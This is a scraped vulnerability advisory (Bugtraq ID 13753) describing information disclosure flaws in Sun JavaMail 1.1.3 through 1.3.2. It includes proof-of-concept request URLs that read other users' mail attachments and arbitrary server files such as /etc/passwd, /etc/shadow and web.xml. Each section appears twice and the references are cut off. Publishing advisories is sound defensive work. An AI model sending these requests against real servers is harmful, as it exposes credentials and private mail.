Sun JavaMail Multiple Information Disclosure Vulnerabilities
BID:13753
Info
Sun JavaMail Multiple Information Disclosure Vulnerabilities
| Bugtraq ID: | 13753 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 24 2005 12:00AM |
| Updated: | May 24 2005 12:00AM |
| Credit: | Discovery of these issues is credited to Ricky Latt <[email protected]>. |
| Vulnerable: |
Sun JavaMail 1.3.2 Sun JavaMail 1.3 Sun JavaMail 1.2 Sun JavaMail 1.1.3 |
| Not Vulnerable: | |
Discussion
Sun JavaMail Multiple Information Disclosure Vulnerabilities
Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:
A remote attacker may reveal the contents of email attachments of other users.
A remote attacker may download and peruse arbitrary files with the privileges of the affected service.
A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks.
Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:
A remote attacker may reveal the contents of email attachments of other users.
A remote attacker may download and peruse arbitrary files with the privileges of the affected service.
A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks.
Exploit / POC
Sun JavaMail Multiple Information Disclosure Vulnerabilities
No exploit is required, the following examples are available:
First issue:
http://example.com/mailboxesdir/[email protected]/
http://example.com/mailboxesdir/[email protected]/
Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillog
No exploit is required, the following examples are available:
First issue:
http://example.com/mailboxesdir/[email protected]/
http://example.com/mailboxesdir/[email protected]/
Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillog
Solution / Fix
Sun JavaMail Multiple Information Disclosure Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Sun JavaMail Multiple Information Disclosure Vulnerabilities
References:
References:
- Javamail Multiple Information Disclosure Vulnerabilities (Ricky Latt